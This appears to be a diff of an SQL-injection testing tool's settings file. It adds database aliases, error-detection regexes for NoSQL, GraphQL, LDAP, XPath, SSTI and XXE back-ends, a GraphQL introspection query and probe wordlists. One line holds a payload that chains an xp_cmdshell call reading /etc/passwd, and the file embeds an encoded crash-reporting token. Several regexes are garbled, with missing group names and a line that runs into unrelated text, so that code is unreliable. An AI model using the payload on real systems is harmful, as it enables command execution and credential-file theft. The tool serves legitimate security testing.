("INFORMATION_SCHEMA", "SYSTEM_LOB") +SYBASE_SYSTEM_DBS = ("master", "model", "sybsystemdb", "sybsystemprocs", "tempdb") +DB2_SYSTEM_DBS = ("NULLID", "SQLJ", "SYSCAT", "SYSFUN", "SYSIBM", "SYSIBMADM", "SYSIBMINTERNAL", "SYSIBMTS", "SYSPROC", "SYSPUBLIC", "SYSSTAT", "SYSTOOLS", "SYSDEBUG", "SYSINST") +HSQLDB_SYSTEM_DBS = ("INFORMATION_SCHEMA", "SYSTEM_LOBS") H2_SYSTEM_DBS = ("INFORMATION_SCHEMA",) + ("IGNITE", "ignite-sys-cache") INFORMIX_SYSTEM_DBS = ("sysmaster", "sysutils", "sysuser", "sysadmin") MONETDB_SYSTEM_DBS = ("tmp", "json", "profiler") @@ -283,18 +354,22 @@ ALTIBASE_SYSTEM_DBS = ("SYSTEM_",) MIMERSQL_SYSTEM_DBS = ("information_schema", "SYSTEM",) CRATEDB_SYSTEM_DBS = ("information_schema", "pg_catalog", "sys") +CLICKHOUSE_SYSTEM_DBS = ("information_schema", "INFORMATION_SCHEMA", "system") CUBRID_SYSTEM_DBS = ("DBA",) CACHE_SYSTEM_DBS = ("%Dictionary", "INFORMATION_SCHEMA", "%SYS") EXTREMEDB_SYSTEM_DBS = ("",) FRONTBASE_SYSTEM_DBS = ("DEFINITION_SCHEMA", "INFORMATION_SCHEMA") RAIMA_SYSTEM_DBS = ("",) VIRTUOSO_SYSTEM_DBS = ("",) +SNOWFLAKE_SYSTEM_DBS = ("INFORMATION_SCHEMA",) +SPANNER_SYSTEM_DBS = ("INFORMATION_SCHEMA", "SPANNER_SYS") +HANA_SYSTEM_DBS = ("SYS", "SYSTEM", "_SYS_BI", "_SYS_BIC", "_SYS_REPO", "_SYS_STATISTICS", "_SYS_XS", "HANA_XS_BASE") # Note: () + () MSSQL_ALIASES = ("microsoft sql server", "mssqlserver", "mssql", "ms") -MYSQL_ALIASES = ("mysql", "my") + ("mariadb", "maria", "memsql", "tidb", "percona", "drizzle") -PGSQL_ALIASES = ("postgresql", "postgres", "pgsql", "psql", "pg") + ("cockroach", "cockroachdb", "amazon redshift", "redshift", "greenplum", "yellowbrick", "enterprisedb", "yugabyte", "yugabytedb") -ORACLE_ALIASES = ("oracle", "orcl", "ora", "or") +MYSQL_ALIASES = ("mysql", "my") + ("mariadb", "maria", "memsql", "tidb", "percona", "drizzle", "doris", "starrocks") +PGSQL_ALIASES = ("postgresql", "postgres", "pgsql", "psql", "pg") + ("cockroach", "cockroachdb", "amazon redshift", "redshift", "greenplum", "yellowbrick", "enterprisedb", "yugabyte", "yugabytedb", "opengauss") +ORACLE_ALIASES = ("oracle", "orcl", "ora", "or", "dm8") SQLITE_ALIASES = ("sqlite", "sqlite3") ACCESS_ALIASES = ("microsoft access", "msaccess", "access", "jet") FIREBIRD_ALIASES = ("firebird", "mozilla firebird", "interbase", "ibase", "fb") @@ -313,31 +388,36 @@ MIMERSQL_ALIASES = ("mimersql", "mimer") CRATEDB_ALIASES = ("cratedb", "crate") CUBRID_ALIASES = ("cubrid",) +CLICKHOUSE_ALIASES = ("clickhouse",) CACHE_ALIASES = ("intersystems cache", "cachedb", "cache", "iris") EXTREMEDB_ALIASES = ("extremedb", "extreme") FRONTBASE_ALIASES = ("frontbase",) RAIMA_ALIASES = ("raima database manager", "raima", "raimadb", "raimadm", "rdm", "rds", "velocis") VIRTUOSO_ALIASES = ("virtuoso", "openlink virtuoso") +SNOWFLAKE_ALIASES = ("snowflake",) +SPANNER_ALIASES = ("spanner", "google cloud spanner", "google spanner") +HANA_ALIASES = ("hana", "sap hana", "saphana", "hdb") DBMS_DIRECTORY_DICT = dict((getattr(DBMS, _), getattr(DBMS_DIRECTORY_NAME, _)) for _ in dir(DBMS) if not _.startswith("_")) -SUPPORTED_DBMS = set(MSSQL_ALIASES + MYSQL_ALIASES + PGSQL_ALIASES + ORACLE_ALIASES + SQLITE_ALIASES + ACCESS_ALIASES + FIREBIRD_ALIASES + MAXDB_ALIASES + SYBASE_ALIASES + DB2_ALIASES + HSQLDB_ALIASES + H2_ALIASES + INFORMIX_ALIASES + MONETDB_ALIASES + DERBY_ALIASES + VERTICA_ALIASES + MCKOI_ALIASES + PRESTO_ALIASES + ALTIBASE_ALIASES + MIMERSQL_ALIASES + CRATEDB_ALIASES + CUBRID_ALIASES + CACHE_ALIASES + EXTREMEDB_ALIASES + RAIMA_ALIASES + VIRTUOSO_ALIASES) +SUPPORTED_DBMS = set(MSSQL_ALIASES + MYSQL_ALIASES + PGSQL_ALIASES + ORACLE_ALIASES + SQLITE_ALIASES + ACCESS_ALIASES + FIREBIRD_ALIASES + MAXDB_ALIASES + SYBASE_ALIASES + DB2_ALIASES + HSQLDB_ALIASES + H2_ALIASES + INFORMIX_ALIASES + MONETDB_ALIASES + DERBY_ALIASES + VERTICA_ALIASES + MCKOI_ALIASES + PRESTO_ALIASES + ALTIBASE_ALIASES + MIMERSQL_ALIASES + CLICKHOUSE_ALIASES + CRATEDB_ALIASES + CUBRID_ALIASES + CACHE_ALIASES + EXTREMEDB_ALIASES + FRONTBASE_ALIASES + RAIMA_ALIASES + VIRTUOSO_ALIASES + SNOWFLAKE_ALIASES + SPANNER_ALIASES + HANA_ALIASES) SUPPORTED_OS = ("linux", "windows") -DBMS_ALIASES = ((DBMS.MSSQL, MSSQL_ALIASES), (DBMS.MYSQL, MYSQL_ALIASES), (DBMS.PGSQL, PGSQL_ALIASES), (DBMS.ORACLE, ORACLE_ALIASES), (DBMS.SQLITE, SQLITE_ALIASES), (DBMS.ACCESS, ACCESS_ALIASES), (DBMS.FIREBIRD, FIREBIRD_ALIASES), (DBMS.MAXDB, MAXDB_ALIASES), (DBMS.SYBASE, SYBASE_ALIASES), (DBMS.DB2, DB2_ALIASES), (DBMS.HSQLDB, HSQLDB_ALIASES), (DBMS.H2, H2_ALIASES), (DBMS.INFORMIX, INFORMIX_ALIASES), (DBMS.MONETDB, MONETDB_ALIASES), (DBMS.DERBY, DERBY_ALIASES), (DBMS.VERTICA, VERTICA_ALIASES), (DBMS.MCKOI, MCKOI_ALIASES), (DBMS.PRESTO, PRESTO_ALIASES), (DBMS.ALTIBASE, ALTIBASE_ALIASES), (DBMS.MIMERSQL, MIMERSQL_ALIASES), (DBMS.CRATEDB, CRATEDB_ALIASES), (DBMS.CUBRID, CUBRID_ALIASES), (DBMS.CACHE, CACHE_ALIASES), (DBMS.EXTREMEDB, EXTREMEDB_ALIASES), (DBMS.FRONTBASE, FRONTBASE_ALIASES), (DBMS.RAIMA, RAIMA_ALIASES), (DBMS.VIRTUOSO, VIRTUOSO_ALIASES)) +DBMS_ALIASES = ((DBMS.MSSQL, MSSQL_ALIASES), (DBMS.MYSQL, MYSQL_ALIASES), (DBMS.PGSQL, PGSQL_ALIASES), (DBMS.ORACLE, ORACLE_ALIASES), (DBMS.SQLITE, SQLITE_ALIASES), (DBMS.ACCESS, ACCESS_ALIASES), (DBMS.FIREBIRD, FIREBIRD_ALIASES), (DBMS.MAXDB, MAXDB_ALIASES), (DBMS.SYBASE, SYBASE_ALIASES), (DBMS.DB2, DB2_ALIASES), (DBMS.HSQLDB, HSQLDB_ALIASES), (DBMS.H2, H2_ALIASES), (DBMS.INFORMIX, INFORMIX_ALIASES), (DBMS.MONETDB, MONETDB_ALIASES), (DBMS.DERBY, DERBY_ALIASES), (DBMS.VERTICA, VERTICA_ALIASES), (DBMS.MCKOI, MCKOI_ALIASES), (DBMS.PRESTO, PRESTO_ALIASES), (DBMS.ALTIBASE, ALTIBASE_ALIASES), (DBMS.MIMERSQL, MIMERSQL_ALIASES), (DBMS.CLICKHOUSE, CLICKHOUSE_ALIASES), (DBMS.CRATEDB, CRATEDB_ALIASES), (DBMS.CUBRID, CUBRID_ALIASES), (DBMS.CACHE, CACHE_ALIASES), (DBMS.EXTREMEDB, EXTREMEDB_ALIASES), (DBMS.FRONTBASE, FRONTBASE_ALIASES), (DBMS.RAIMA, RAIMA_ALIASES), (DBMS.VIRTUOSO, VIRTUOSO_ALIASES), (DBMS.SNOWFLAKE, SNOWFLAKE_ALIASES), (DBMS.SPANNER, SPANNER_ALIASES), (DBMS.HANA, HANA_ALIASES)) USER_AGENT_ALIASES = ("ua", "useragent", "user-agent") REFERER_ALIASES = ("ref", "referer", "referrer") HOST_ALIASES = ("host",) # DBMSes with upper case identifiers -UPPER_CASE_DBMSES = set((DBMS.ORACLE, DBMS.DB2, DBMS.FIREBIRD, DBMS.MAXDB, DBMS.H2, DBMS.DERBY, DBMS.ALTIBASE)) +UPPER_CASE_DBMSES = set((DBMS.ORACLE, DBMS.DB2, DBMS.FIREBIRD, DBMS.MAXDB, DBMS.H2, DBMS.HSQLDB, DBMS.DERBY, DBMS.ALTIBASE, DBMS.SNOWFLAKE, DBMS.HANA)) # Default schemas to use (when unable to enumerate) H2_DEFAULT_SCHEMA = HSQLDB_DEFAULT_SCHEMA = "PUBLIC" VERTICA_DEFAULT_SCHEMA = "public" MCKOI_DEFAULT_SCHEMA = "APP" CACHE_DEFAULT_SCHEMA = "SQLUser" +SPANNER_DEFAULT_SCHEMA = "default" # DBMSes where OFFSET mechanism starts from 1 PLUS_ONE_DBMSES = set((DBMS.ORACLE, DBMS.DB2, DBMS.ALTIBASE, DBMS.MSSQL, DBMS.CACHE)) @@ -413,9 +493,12 @@ r"(?P[^\n>]{0,100}SQL Syntax[^\n<]+)", r"(?s)
  • Error Type:
    (?P.+?)
  • ", r"CDbCommand (?P[^<>\n]*SQL[^<>\n]+)", + r"Code: \d+. DB::Exception: (?P[^<>\n]*)", r"error '[0-9a-f]{8}'((<[^>]+>)|\s)+(?P[^<>]+)", r"\[[^\n\]]{1,100}(ODBC|JDBC)[^\n\]]+\](\[[^\]]+\])?(?P[^\n]+(in query expression|\(SQL| at /[^ ]+pdo)[^\n<]+)", - r"(?Pquery error: SELECT[^<>]+)" + r"(?Pquery error: SELECT[^<>]+)", + r"(?P(?:(?:ORA|PLS)-[0-9]{5}:|SQLCODE[ =:]+-?[0-9]+|SQLSTATE[ =:]+[0-9A-Z]{5}|Dynamic SQL Error|DB2 SQL error:|SAP DBTech JDBC:|SQLiteException:|You have an error in your SQL syntax;|Incorrect syntax near |Unclosed quotation mark after the character string|near \"[^\"]+\": syntax error)[^\n<]*)", + r'"(?:errmsg|errorMessage|reason|msg)"\s*:\s*"(?P[^"]+)"' # generic JSON error-message field (NoSQL document/REST back-ends) ) # Regular expression used for parsing charset info from meta html headers @@ -425,22 +508,22 @@ META_REFRESH_REGEX = r'(?i)]+content="?[^">]+;\s*(url=)?["\']?(?P[^\'">]+)' # Regular expression used for parsing Javascript redirect request -JAVASCRIPT_HREF_REGEX = r'',table_name FROM information_schema.tables WHERE 2>1--/**/; EXEC xp_cmdshell('cat ../../../etc/passwd')#" @@ -650,10 +804,10 @@ ROTATING_CHARS = ('\\', '|', '|', '/', '-') # Approximate chunk length (in bytes) used by BigArray objects (only last chunk and cached one are held in memory) -BIGARRAY_CHUNK_SIZE = 1024 * 1024 +BIGARRAY_CHUNK_SIZE = 32 * 1024 * 1024 # Compress level used for storing BigArray chunks to disk (0-9) -BIGARRAY_COMPRESS_LEVEL = 9 +BIGARRAY_COMPRESS_LEVEL = 4 # Maximum number of socket pre-connects SOCKET_PRE_CONNECT_QUEUE_SIZE = 3 @@ -665,6 +819,9 @@ # Reference: https://web.archive.org/web/20150407141500/https://support.microsoft.com/en-us/kb/899149 DUMP_FILE_BUFFER_SIZE = 1024 +# Block size used for the in-place secure-overwrite passes of '--purge' (bounds peak memory regardless of file size) +PURGE_BLOCK_SIZE = 1024 * 1024 + # Parse response headers only first couple of times PARSE_HEADERS_LIMIT = 3 @@ -680,14 +837,11 @@ # Characters that can be used to split parameter values in provided command line (e.g. in --tamper) PARAMETER_SPLITTING_REGEX = r"[,|;]" -# Regular expression describing possible union char value (e.g. used in --union-char) -UNION_CHAR_REGEX = r"\A\w+\Z" - # Attribute used for storing original parameter value in special cases (e.g. POST) UNENCODED_ORIGINAL_VALUE = "original" # Common column names containing usernames (used for hash cracking in some cases) -COMMON_USER_COLUMNS = ("login", "user", "username", "user_name", "user_login", "benutzername", "benutzer", "utilisateur", "usager", "consommateur", "utente", "utilizzatore", "utilizator", "utilizador", "usufrutuario", "korisnik", "uporabnik", "usuario", "consumidor", "client", "cuser") +COMMON_USER_COLUMNS = frozenset(("login", "user", "uname", "username", "user_name", "user_login", "account", "account_name", "auth_user", "benutzername", "benutzer", "utilisateur", "usager", "consommateur", "utente", "utilizzatore", "utilizator", "utilizador", "usufrutuario", "korisnik", "uporabnik", "usuario", "consumidor", "client", "customer", "cuser")) # Default delimiter in GET/POST values DEFAULT_GET_POST_DELIMITER = '&' @@ -698,11 +852,17 @@ # Unix timestamp used for forcing cookie expiration when provided with --load-cookies FORCE_COOKIE_EXPIRATION_TIME = "9999999999" -# Github OAuth token used for creating an automatic Issue for unhandled exceptions -GITHUB_REPORT_OAUTH_TOKEN = "Z2hwX2FOMDdpUWx0NDg0ak85QW4yU1pSQjhtazhBaVVlRzNaMUxmMA" +# Restricted PAT token for automated crash reporting (last rotation: 2026-04-24) +GITHUB_REPORT_PAT_TOKEN = "0EZh0n8npcacTH4oBcdKKWvfZLcdGWx0N5XFHD2xYaQDOkmI9LWaeDvZRZUMDz8l96RDH3+LVsbwGE5zUtaau0kld9VXG20fVbYES3ooFpNv+U9J5OTnaT2OlZcYzk4w5veT+GiHV5cuCngOJ6QgL1+qRpZDX1gzFecXbm2sNfQ2SGjT5McQe1mtxMTN7WsS1fQfPH+RhMUgbnwXJ5YG6EsBNZWOyk0C16QnekrVtuQpK0/ZVvU560uQhoMsP1/FBguBwJe" + +# Age (in days) past which a resumed session file is considered stale (triggers a one-time nudge) +HASHDB_STALE_DAYS = 7 -# Skip unforced HashDB flush requests below the threshold number of cached items -HASHDB_FLUSH_THRESHOLD = 32 +# Flush HashDB threshold number of cached items +HASHDB_FLUSH_THRESHOLD_ITEMS = 200 + +# Flush HashDB threshold "dirty" time +HASHDB_FLUSH_THRESHOLD_TIME = 5 # Number of retries for unsuccessful HashDB flush attempts HASHDB_FLUSH_RETRIES = 3 @@ -713,24 +873,27 @@ # Number of retries for unsuccessful HashDB end transaction attempts HASHDB_END_TRANSACTION_RETRIES = 3 -# Unique milestone value used for forced deprecation of old HashDB values (e.g. when changing hash/pickle mechanism) -HASHDB_MILESTONE_VALUE = "OdqjeUpBLc" # python -c 'import random, string; print "".join(random.sample(string.ascii_letters, 10))' - -# Pickle protocl used for storage of serialized data inside HashDB (https://docs.python.org/3/library/pickle.html#data-stream-format) -PICKLE_PROTOCOL = 2 +# Unique milestone value used for forced deprecation of old HashDB values (e.g. when changing the hash/serialization mechanism) +HASHDB_MILESTONE_VALUE = "MvKpZrBqTn" # python -c 'import random, string; print "".join(random.sample(string.ascii_letters, 10))' # Warn user of possible delay due to large page dump in full UNION query injections LARGE_OUTPUT_THRESHOLD = 1024 ** 2 -# On huge tables there is a considerable slowdown if every row retrieval requires ORDER BY (most noticable in table dumping using ERROR injections) -SLOW_ORDER_COUNT_THRESHOLD = 10000 - # Give up on hash recognition if nothing was found in first given number of rows HASH_RECOGNITION_QUIT_THRESHOLD = 1000 # Regular expression used for automatic hex conversion and hash cracking of (RAW) binary column values HASH_BINARY_COLUMNS_REGEX = r"(?i)pass|psw|hash" +# Regular expression matching (declared) binary column types, used to auto-hex their values during dumping +# so raw bytes (e.g. password hashes stored in binary form) are not silently truncated at NUL / mangled by +# the text extraction channel (mirrors a manual '--binary-fields', using the already-fetched column type) +BINARY_FIELDS_TYPE_REGEX = r"(?i)binary|blob|bytea|image|\braw\b" + +# Uppercased keywords of the above, for building an in-SQL "is this column binary-typed?" check when only +# column names (not types) were fetched - i.e. blind dumping (keep in sync with BINARY_FIELDS_TYPE_REGEX) +BINARY_FIELDS_TYPE_KEYWORDS = ("BINARY", "BLOB", "BYTEA", "IMAGE", "RAW") + # Maximum number of redirections to any single URL - this is needed because of the state that cookies introduce MAX_SINGLE_URL_REDIRECTIONS = 4 @@ -743,6 +906,11 @@ # Reference: http://www.tcpipguide.com/free/t_DNSLabelsNamesandSyntaxRules.htm MAX_DNS_LABEL = 63 +# Maximum number of (most recent) DNS resolution requests retained by the DNS server (bounded so +# that unrelated/stray traffic to the listening :53 socket cannot grow memory without limit; the +# value is popped right after it is triggered, so only recent entries ever matter) +MAX_DNS_REQUESTS = 1000 + # Alphabet used for prefix and suffix strings of name resolution requests in DNS technique (excluding hexadecimal chars for not mixing with inner content) DNS_BOUNDARIES_ALPHABET = re.sub(r"[a-fA-F]", "", string.ascii_letters) @@ -753,11 +921,359 @@ BANNER = re.sub(r"\[.\]", lambda _: "[\033[01;41m%s\033[01;49m]" % random.sample(HEURISTIC_CHECK_ALPHABET, 1)[0], BANNER) # String used for dummy non-SQLi (e.g. XSS) heuristic checks of a tested parameter value -DUMMY_NON_SQLI_CHECK_APPENDIX = "<'\">" +DUMMY_NON_SQLI_CHECK_APPENDIX = "<'\">)" # Regular expression used for recognition of file inclusion errors FI_ERROR_REGEX = r"(?i)[^\n]{0,100}(no such file|failed (to )?open)[^\n]{0,100}" +# Regular expressions (per back-end, anchored to actual error-message structure - not product names) used for heuristic recognition of NoSQL injection +NOSQL_ERRORS = ( + ("MongoDB", r"Mongo(?:Server|Parse|Network|Runtime|Bulk|WriteConcern)?Error\b|\bBSON(?:Type)?Error\b|\bMongooseError\b|CastError: Cast to|unknown (?:top.level )?operator: ?\$|\$(?:regex|where|expr|in|nin|ne|gt|lt|elemMatch) (?:has to be|is not allowed|must be|not supported|requires)|Regular expression is invalid"), + ("CouchDB", r'"error"\s*:\s*"(?:bad_request|query_parse_error|missing_named_query)"|invalid operator: ?\$'), + ("Elasticsearch", r'"type"\s*:\s*"[a-z_]*?(?:query_shard|x_content_parse|parsing|search_phase_execution|illegal_argument|too_many_clauses|number_format|script)_exception"|Failed to parse query \['), + ("Solr", r"org\.apache\.solr\.[\w.]*(?:SyntaxError|SolrException)"), + ("Neo4j", r"Neo\.(?:ClientError|DatabaseError|TransientError|ClientNotification)\.|\bNeo4jError\b|even number of non-escaped quotes|Failed to parse string literal|expected an expression|'(?:UNWIND|OPTIONAL|DETACH|FOREACH|MERGE|LOAD CSV)'"), + ("ArangoDB", r"\bArangoError\b|AQL: (?:syntax|parse) error"), + ("Cassandra", r"line \d+:\d+ (?:no viable alternative at input|(?:mismatched|extraneous) input '.*?' expecting)|org\.apache\.cassandra|com\.datastax|\bInvalid(?:Request|Query)Exception\b"), + ("Redis", r"\bWRONGTYPE\b|ERR Error (?:compiling|running) script|@user_script|\bReplyError\b"), + ("Memcached", r"CLIENT_ERROR bad|SERVER_ERROR object too large"), + ("InfluxDB", r"error parsing query|unable to parse '[^']*': found"), + ("HBase/Phoenix", r"org\.apache\.phoenix|PhoenixParserException|org\.apache\.hadoop\.hbase"), +) +NOSQL_ERROR_REGEX = "(?:%s)" % '|'.join(regex for _, regex in NOSQL_ERRORS) + +# Printable-ASCII codepoint bounds bisected (via regexp character-class ranges) during NoSQL blind extraction +NOSQL_CHAR_MIN = 0x20 +NOSQL_CHAR_MAX = 0x7e + +# Maximum number of document fields enumerated during a NoSQL ($where server-side JavaScript) document dump +NOSQL_MAX_FIELDS = 64 + +# Maximum number of records walked during a NoSQL blind multi-record (ordered key paging) collection dump +NOSQL_MAX_RECORDS = 100 + +# Upper bound for the length search during NoSQL blind extraction +NOSQL_MAX_LENGTH = 1024 + +# GraphQL endpoint paths to probe when the user supplies a base URL with --graphql (no explicit /graphql) +GRAPHQL_ENDPOINT_PATHS = ("/graphql", "/api/graphql", "/v1/graphql", "/api/v1/graphql", "/graphql/api", "/graphql/console", "/graphql.php", "/graphiql", "/graph", "/gql", "/query") + +# Seed field/argument names used to recover a GraphQL schema from "Did you mean" suggestion error +# messages when introspection is disabled (the field-suggestion / "Clairvoyance" technique) +GRAPHQL_FIELD_WORDLIST = ("user", "users", "me", "search", "login", "node", "post", "posts", + "account", "accounts", "profile", "product", "products", "order", "orders", "item", "items", + "customer", "find", "get", "list", "comment", "comments", "message", "messages", "updateUser") +GRAPHQL_ARG_WORDLIST = ("id", "username", "user", "name", "term", "query", "q", "search", + "email", "input", "password", "key", "filter", "slug", "title", "uid") + +# Canonical GraphQL introspection query (the one everyone copy-pastes). Returned schema carries the +# full type system: query/mutation/subscription roots, OBJECT/INPUT_OBJECT/ENUM/SCALAR types, their +# fields/arguments/inputFields with type chains, directives, and deprecation metadata. +GRAPHQL_INTROSPECTION_QUERY = """query IntrospectionForSqlmap { + __schema { + queryType { name } + mutationType { name } + subscriptionType { name } + directives { name args { name type { kind name ofType { kind name ofType { kind name } } } } } + types { + kind + name + fields(includeDeprecated: true) { + name + args { + name + defaultValue + type { kind name ofType { kind name ofType { kind name ofType { kind name } } } } + } + type { kind name ofType { kind name ofType { kind name } } } + } + inputFields { + name + defaultValue + type { kind name ofType { kind name ofType { kind name ofType { kind name } } } } + } + enumValues(includeDeprecated: true) { name } + specifiedByURL + } + } +}""" + +# GraphQL error patterns that identify the response as originating from a GraphQL layer (parse, +# validation, execution, or APQ errors). Used by the heuristic in checks.py and for error-based +# detection inside the GraphQL engine. +GRAPHQL_PARSE_ERRORS = ( + r'"code"\s*:\s*"GRAPHQL_PARSE_FAILED"', + r"\bSyntax Error:\s*[^\"]", + r"\bExpected Name,\s*found\b", + r"\bUnexpected\s+\b", +) +GRAPHQL_VALIDATION_ERRORS = ( + r'"code"\s*:\s*"GRAPHQL_VALIDATION_FAILED"', + r"\bCannot query field\s+\"[^\"]+\"\s+on type\s+\"[^\"]+\"", + r"\bUnknown argument\s+\"[^\"]+\"\s+on field\s+\"[^\"]+\"", + r"\bField\s+\"[^\"]+\"\s+argument\s+\"[^\"]+\"\s+of type\s+\"[^\"]+\"\s+is required\b", + r"\bVariable\s+\"\$[^\"]+\"\s+got invalid value\b", + r"\bExpected type\s+[^,]+,\s*found\b", + r"\bDid you mean\s+\"[^\"]+\"\b", +) +GRAPHQL_APQ_ERRORS = ( + r"\bPersistedQueryNotFound\b", + r"\bPersistedQueryNotSupported\b", +) +GRAPHQL_RUNTIME_ERRORS = ( + r"\bGraphQL\s+(?:resolver\s+)?error\b", +) +GRAPHQL_ERROR_REGEX = "(?:%s)" % '|'.join(GRAPHQL_PARSE_ERRORS + GRAPHQL_VALIDATION_ERRORS + GRAPHQL_APQ_ERRORS + GRAPHQL_RUNTIME_ERRORS) + +# LDAP error signatures per back-end for error-based detection and fingerprinting (matched against +# HTTP response bodies). Each tuple is (backend_name, regex_fragment). +LDAP_ERROR_SIGNATURES = ( + ("Microsoft Active Directory", r"AcceptSecurityContext error, data [0-9a-fA-F]+"), + ("Microsoft Active Directory", r"LdapErr: DSID-[0-9a-fA-F]+"), + ("Microsoft Active Directory", r"80090308:\s*LdapErr"), + ("OpenLDAP", r"(?:Bad search filter|ldap_search_ext:\s*Bad search filter)(?:\s*\(-7\))?"), + ("OpenLDAP", r"Invalid DN syntax(?:\s*\(34\))?"), + ("ApacheDS", r"javax\.naming\.(?:directory\.)?(?:Naming|Authentication|InvalidName|InvalidSearchFilter|OperationNotSupported)Exception"), + ("ApacheDS", r"org\.apache\.directory\.api\.ldap\.model\.exception\.Ldap(?:InvalidSearchFilter|InvalidDn|SchemaViolation)?Exception"), + ("ApacheDS", r"LDAPException=\d+\s+msg=ERR_\d+"), + ("Oracle Directory Server", r"(?:attribute syntax error:|ACL parsing error:|Oracle (?:Unified )?Directory)"), + ("389 Directory Server", r"(?:Filter Syntax Verification|389[- ]Directory(?:[ /]Server)?)"), + ("Java JNDI", r"javax\.naming\.(?:InvalidNameException|InvalidSearchFilterException)"), + ("python-ldap", r"ldap\.(?:INVALID_DN_SYNTAX|FILTER_ERROR|NO_SUCH_OBJECT)"), +) + +# Combined LDAP error regex used for heuristic detection (checks.py) and for recognising +# that an error response originates from an LDAP back-end rather than a generic HTTP 500 +LDAP_ERROR_REGEX = r"(?i)(?:%s)" % '|'.join(regex for _, regex in LDAP_ERROR_SIGNATURES) + +# Printable-ASCII codepoint bounds for the (linear, prefix-wildcard) LDAP blind character scan +LDAP_CHAR_MIN = 0x20 +LDAP_CHAR_MAX = 0x7e + +# Upper bound for the value-length search during LDAP blind extraction +LDAP_MAX_LENGTH = 256 + +# Maximum number of directory entries enumerated during LDAP blind dumping +LDAP_MAX_RECORDS = 20 + +# Attributes that definitively identify the backend vendor when probed on the RootDSE or +# a well-known directory entry. Each tuple is (attribute, expected_value_substring, backend). +LDAP_FINGERPRINT_ATTRIBUTES = ( + ("objectGUID", None, "Microsoft Active Directory"), + ("vendorName", "OpenLDAP", "OpenLDAP"), + ("vendorName", "Apache Software Foundation", "ApacheDS"), + ("vendorName", "Oracle Corporation", "Oracle Directory Server"), + ("vendorName", "Red Hat", "389 Directory Server"), +) + +# XPath error signatures per parser implementation for error-based detection and +# fingerprinting (matched against HTTP response bodies). Each tuple is +# (backend_name, regex_fragment). +XPATH_ERROR_SIGNATURES = ( + ("Java JAXP / Xalan", r"(?:javax\.xml\.(?:xpath\.XPathExpressionException|transform\.Transformer(?:Configuration)?Exception)|com\.sun\.org\.apache\.xpath\.(?:XPathException|XPathProcessorException)|org\.apache\.xpath|org\.xml\.sax\.SAX(?:Parse)?Exception)"), + ("Java JAXP / Xalan", r"XPath (?:expression|syntax) error"), + ("Java JAXP / Saxon", r"net\.sf\.saxon\.(?:trans\.XPathException|s9api\.SaxonApiException)"), + ("Java JAXP / Saxon", r"(?:XPST|XPTY|XPDY|XQST|XTDE)\d{4}:"), + (".NET XPathNavigator", r"System\.Xml\.(?:XPath\.XPathException|XmlException)"), + (".NET XPathNavigator", r"Expression must evaluate to a node-set"), + (".NET XPathNavigator", r"has an invalid (?:token|qualified name)"), + ("lxml / libxml2", r"(?:lxml\.etree\.(?:XPath(?:Eval|Document|Syntax)?Error)|libxml2|xmlXPath(?:CompOp|Eval|Err))"), + ("lxml / libxml2", r"(?:XPath error|Invalid (?:expression|predicate))"), + ("PHP SimpleXML / DOMXPath", r"(?:SimpleXMLElement::xpath\(\)|DOMXPath::(?:query|evaluate)\(\))"), + ("PHP SimpleXML / DOMXPath", r"Invalid expression|xmlXPathEval"), + ("Saxon (standalone)", r"(?:net\.sf\.saxon\.(?:s9api\.SaxonApiException|trans\.XPathException)|Saxon error)"), + ("Saxon (standalone)", r"Static error\(s\) in query"), + ("BaseX", r"org\.basex\.(?:query\.QueryException|core\.BaseXException)"), + ("BaseX", r"\[(?:XPST|XPTY|XPDY)\d{4}\]"), + ("eXist", r"org\.exist\.xquery\.(?:XPathException|XQueryException)"), + ("eXist", r"exerr:ERROR"), + ("Python ElementTree", r"xml\.etree\.ElementTree\.(?:ParseError|Element)"), + ("Generic XPath", r"(?:XPath|XSLT).*?(?:error|exception|syntax)"), + ("Generic XPath", r"Invalid XPath|XPath evaluation failed"), +) + +XPATH_ERROR_REGEX = r"(?i)(?:%s)" % '|'.join(regex for _, regex in XPATH_ERROR_SIGNATURES) + +# Printable-ASCII codepoint bounds bisected during XPath blind character extraction +XPATH_CHAR_MIN = 0x20 +XPATH_CHAR_MAX = 0x7e + +# Maximum tree depth for recursive XML walking during XPath blind extraction +XPATH_MAX_DEPTH = 32 + +# Upper bound for the value-length search during XPath blind extraction +XPATH_MAX_LENGTH = 256 + +# SSTI error signatures per template engine for detection and fingerprinting. +# Each tuple is (engine_name, regex_fragment). +SSTI_ERROR_SIGNATURES = ( + ("Jinja2", r"jinja2\.exceptions\.\w+|TemplateSyntaxError|UndefinedError|TemplateNotFound|TemplateAssertionError"), + ("Twig", r"Twig[\\_]Error|Twig[\\_]Environment|Unknown (?:filter|function|test|tag)"), + ("Freemarker", r"freemarker\.(?:core|template|extract|cache)\.\w+|ParseException|InvalidReferenceException|TemplateException"), + ("Velocity", r"org\.apache\.velocity\.(?:runtime|exception)\.\w+|ParseErrorException|MethodInvocationException|ResourceNotFoundException"), + ("Spring EL / Thymeleaf", r"org\.springframework\.expression\.\w+|org\.thymeleaf\.\w+|SpelEvaluationException|TemplateProcessingException|ExpressionParsingException"), + ("ERB", r"\(erb\):\d+|NameError.*undefined local variable"), + ("Pug/Jade", r"pug|jade|ParseError"), + ("Handlebars", r"handlebars|Handlebars|Parse error on line"), + ("Generic SSTI", r"template.*?(?:error|syntax|exception)"), +) + +SSTI_ERROR_REGEX = r"(?i)(?:%s)" % '|'.join(regex for _, regex in SSTI_ERROR_SIGNATURES) + +# XXE parser error signatures for detection and fingerprinting. Each tuple is +# (parser_family, regex_fragment). A match means the XML surface reached a real +# parser and the DOCTYPE/entity was processed (or rejected with a diagnostic) - +# useful both as an error-based oracle and to fingerprint the back-end parser. +XXE_ERROR_SIGNATURES = ( + ("libxml2 (PHP/lxml)", r"(?:failed to load (?:external entity|\")|xmlParseEntityRef|Entity '[^']*' not defined|EntityRef: expecting|Detected an entity reference loop|String not started expecting|StartTag: invalid element name|Start tag expected|Extra content at the end of the document|Premature end of data|error parsing DTD|internal error: Huge input lookup)"), + ("PHP simplexml/DOM", r"(?:simplexml_load_string\(\)|DOMDocument::load(?:XML)?\(\)|SimpleXMLElement::__construct\(\))"), + ("Java (Xerces/JAXP)", r"(?:org\.xml\.sax\.SAXParseException|com\.sun\.org\.apache\.xerces|javax\.xml\.stream\.XMLStreamException|The (?:entity|element type) \"[^\"]*\" was referenced|DOCTYPE is disallowed when the feature|External (?:DTD|parsed entities|Entity): failed|must be declared|had to be read but the maximum)"), + (".NET System.Xml", r"(?:System\.Xml\.XmlException|For security reasons DTD is prohibited|Reference to undeclared entity|An error occurred while parsing EntityName|XmlTextReaderImpl)"), + 